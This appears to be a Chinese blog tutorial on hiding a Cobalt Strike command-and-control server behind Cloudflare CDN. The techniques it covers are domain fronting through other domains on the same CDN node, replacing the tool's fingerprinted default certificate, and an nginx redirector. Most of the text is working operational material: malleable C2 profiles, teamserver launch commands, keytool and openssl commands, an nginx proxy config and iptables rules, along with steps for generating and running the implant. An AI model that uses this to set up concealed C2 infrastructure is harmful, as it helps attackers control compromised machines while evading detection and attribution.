准备:
服务器⼀台
cdn运营商
域名
靶机上只会有跟cdn的ip通信的流量,不会有跟真实C2通信的流量,可以保护C2的ip
第一步 利⽤cdn进⾏遮掩(配置cdn)n'g
第⼀步:⾸先,注册cloudflare.com,
cloudflare这是什么东西呢,它可以给你的网站添加CDN,CDN就是当不同地区的用户访问你网站时,就近访问最近的服务器获取数据。而且这个网站还是最快的DNS服务,关键它免费!
添加站点
选择免费的
当前页面显示的是cloudflare发现的现有解析记录数据
第二步:把DNS更新到cloudflare上
所以这里要注意去对比一下是否有缺少的解析记录(一般不会缺少)。
然后点继续。来到这里。出现了添加 Cloudflare 名称服务器
复制这个地址,我的域名是在godaddy.com买的,在godaddy这里找到更改域名服务器的选项
、
然后继续就行了,等待几分钟,如果成功了cloudflare里会收到一封邮件,回到cloudflare,选择名称服务器检查(其实收不到邮件也没事,只要前面步骤都对,等个十来分钟就可以继续下面的操作了)
后面就全部默认就行了
第三步:收到邮件提示dns修改完成,添加dns记录
,这里写上你的vps(cs服务端)的ip
第四步:多地ping,获取cdn节点服务器的ip地址
这里记住几个ip,下面用
第五步:隐藏前的准备,设置cs配置⽂件
CDN 申请完成后,就可以开始编辑 Cobalt Strike 要⽤到的 C2 Profile ⽂件了,直接使⽤开源项⽬ Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们⾃⼰在 CDN 中绑定的 域名 项⽬地址:
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile
⽂件具体如下
#
# Amazon browsing traffic profile
#
# Author: @harmj0y
#
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "";
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "";
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
把中间的⼏个host改了,毕竟⽊⻢时根据host转发流量和服务端交互,⾛的http 修改19⾏和53⾏的host,改成cdn绑定的域名,然后保存 az.profile
第六步:⽤配置⽂件启动cs服务端,然后上线cs
准备工作:
6.1
本机ping一下我的域名
6.2
ip反查域名,记下几个地址(可以选几个出名的域名,例如baidu这些)
我选的第一个
服务器直接启动cs服务器
./teamserver xxx.xxx.xxx.xxx password az.profile
然后打开客户端,设置监听器
1 HTTP Hosts里写刚才全球ping获得的ip,或者刚才ip发查到的域名
2 host(stager)同1,写别人的域名,举例0028510.com
3. Host Header 写你买的域名,端口80就行
然后设置
接着生成exe
选择刚才设置的监听器
上线测试
ok,ip变成了刚才设置的cdn ip,查了一下是国内ip,不是我服务端的ip,完成!
看一下域名是否暴露
用Proxifier看一下马子的连接情况
黑色打马部分的域名是监听器那种图片里的1位置(HTTP Hosts)的地址,这里不是我的域名
另外一个域名是ip反查出来的
ok我们的c2服务端的域名和ip的隐藏了。
说一下原理
和昨天那篇云函数原理相同,同样是利⽤cdn进⾏了流量转发,这个地⽅我们要明⽩⼀个原理,就是流量⾛了http,在cdn 服务器那进⾏了⼀次转发,这个和host这个头属性有关,可以去百度⼀下host,所以只要我们的流量前 往了cdn服务器,⽆论是⽤什么⽅式,他就认这个,明⽩了这个原理,那么只要我们的流量前往了cdn解 析服务器即可。
之前我们是⽤cdn服务器的ip进⾏这个操作,但其实,这些cdn服务器就相当于绑定了⼀个域名的服务器,利⽤关联了这个cdn服务器的域名,同样可以进⾏流量转发,从⽽利⽤他⼈的或者⾼信誉度的域名协助我们进⾏隐藏。
我简化一下
cdn转发 --> 我的vps
第⼀步,反查cdn服务器ip下的其他域名
⼤部分步骤和上⾯⼀样,⽽这⾥其实就是利⽤之前我们多地ping获得的cdn服务器ip反查域名,⼿段很 多,fofa啊什么的,这⾥就不多赘述了 获得域名后,开始设置监听器 由于证书检测必须要linux,所以我这个地⽅其实还是出了⼀些问题,没能成功使⽤https上线,证书⼀直 没有设置好,但是原理是⼀样的,这⾥直接⽤http上线也是⼀样的。
可以在上面的cs上线截图里看到,http上⾯使⽤的完全不是我的ip,也不是cdn的ip,⽽是同cdn节点下的域名,但是通过了 host转发我绑定的域名成功实现了shell回归,这样如果是https的话,就成功实现了域名隐藏,即使抓 包,看到的也是我们构造的域名通信(如果运⽓好有⾼信誉度域名就更好),如果此处使⽤了https那么 包也是隐藏了的。⽣成了监听器之后就是继续⽣成⽊⻢然后运⾏了,和之前的步骤是⼀样的,不多赘述。同样,我们可以查⼀下⽊⻢的通信情况,和cs上的shell回弹情况,就知道是否隐藏成功了。
现在我们配置好了http,但这是不够的
为什么呢,我们回到这张图片
然后看官们是否还记得启动cs服务端时用到了一个az.profile文件,在这里面也配置了一个host,这里记做为4,ok现在我来解释一下这四个host分别是干什么的
1.HTTP Hosts 这里只做域名解析,这里我写了别人的域名,但是因为它和麋鹿师傅的域名用了同CDN,所以流量会解析到做这台CDN转发的机器上
2.HTTP Host(stager)这个值应该和1写一样,1和2的区别对应分段传输和不分段
刚才不是说到1里解析到了复制CDN转发的机器上了嘛,而cdn就是通过3.HTTP header host的内容,将流量转发到我的vps,应当和profile一致,也是我的域名
而profile里的4.host是配置流量包里header的host,cdn是通过这个host将流量转发到我的域名,这里需要写我的域名
如果这里我们用http(明文传输),host这里肯定是要暴露的。
我用wireshark抓一下我的域名的流量
按理说肯定是有host是我的域名的流量,果然正如红框里看到我的域名,暴露了
而且1.如果对方有全流量设备,那一定会监测到http header host的,还是会暴露域名
2.如果使用http,中间人能监听
或者更清晰一点解释
这是上线的包
1是cdn下的他人域名,二是我的域名
流量里明显有我自己的域名(3处)
而且
当我们不配置profile文件时,上线cs的流量是这样的:
继续修改配置文件-证书
cobaltstrike.store,proxy.store,ssl.store
cobaltstrike.store :用于服务端和客户端加密通讯
proxy.store:用于浏览器代理也就是browserpivot功能
ssl.store证书:如果没有配置https-certificate选项,并且使用的是https监听器那么Cs默认就会使用这个证书
我们先查看一下cs默认证书:keytool -list -v -keystore cobaltstrike.store
可以看到特征非常明显,而这些特征早就被各大安全厂商标记烂了
我们用nmap进行扫描,也能看到特征
因此,cs证书的替换对于隐匿起到了很大的作用。关于证书的生成,我们可以用keytool:
Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即.store后缀文件中。
命令:
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令
使用 "keytool -command_name -help" 获取 command_name 的用法
继续打开我们的clouflare,SSL/TLS → 客户端证书 → 创建证书
将证书和私钥进行保存,例如:public.pem、private.pem
假设vps开启了nginx服务,我们将存在的证书存放在nginx配置目录下:/usr/local/nginx/cert
生成证书:
openssl pkcs12 -export -in /usr/local/nginx/cert/public.pem -inkey /usr/local/nginx/cert/private.pem -out abc123.com.p12 -name abc123.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456-destkeystore abc123.com.store -srckeystore abc123.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias abc123.com
生成 p12 和 store 文件
我们将 abc123.com.store文件放入cs目录下,并且修改teamserver启动文件:将其替换成刚刚创建的 abc123.com.store
替换后接着扫描,得到结果如下:
还是刚才那个github的地址
https://github.com/rsmudge/Malleable-C2-Profiles
配置文件如下
https-certificate {
set keystore "abc123.com.store"; #证书名字
set password "123456"; #证书密码
}
#以上没有配置域名和证书的时候可以先不写
http-get {
set uri "/milu_image/";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
# header "Host" "abc123.com"; #域名,还没有配置cloudflare的时候这一行注释掉
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
metadata {
netbios;
append ".jpg"; # 传输内容自动追加的后缀
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64; # 加密方式(base64、base64url、netbios、netbiosu)
print;
}
}
}
http-post {
set uri "/milu_email/";
client {
header "Content-Type" "application/octet-stream";
#header "Host" "abc123.com"; #域名,还没有配置cloudflare的时候这一行注释掉
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".png";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
cs启动
./teamserver ip 密码 abc123.com.profile
成功上线,外连ip都是不断变化的,且为cdn地址
另一个思路 nginx反向代理隐藏+cdn
当然,我们还可对nginx进行配置,增加反向代理的功能
通过nginx.conf 进行配置,可以对存在的user-agent头进行比对,或者限制访问路径,例如:milu_image/* milu_email/*
当满足上面条件时,才进行流量转发到真正上线端口,不然返回一个正常页面,这么做很有迷惑性
咱们这里监听443端口,进行流量转发(未进行多余设置,只是方便理解)
server {
#配置cs上线有关
set $C2_SERVER https://127.0.0.1:2083;
# set $REDIRECT_DOMAIN https://baidu.com;
listen 443 ssl default_server;
server_name abc123.com; #你的域名
ssl_certificate /usr/local/nginx/cert/public.pem; #公钥
ssl_certificate_key /usr/local/nginx/cert/private.pem; #私钥
#设置和cs上线
location / {
proxy_pass $C2_SERVER;
# If you want to pass the C2 server's "Server" header through then uncomment this line
# proxy_pass_header Server;
# expires off;
# proxy_redirect off;
# proxy_set_header Host $host;
# proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# proxy_set_header X-Real-IP $remote_addr;
}
}
监听器配置如下:
abc123.com都是本人的域名
最后也是成功上线
当然有个问题,由于我们使用的是反向代理,cs显示的是localhost,如果想获取真正的外网ip,需要在nginx.conf 配置文件进行设置
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #p配置nginx 转发源ip
最后,为了防止被溯源到端口,我们还可以对2083端口进行限制,只允许本地访问:
iptables -I INPUT -p TCP --dport 2083 -j DROP
iptables -I INPUT -s 127.0.0.1 -p TCP --dport 2083 -j ACCEPT
service iptables restart
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读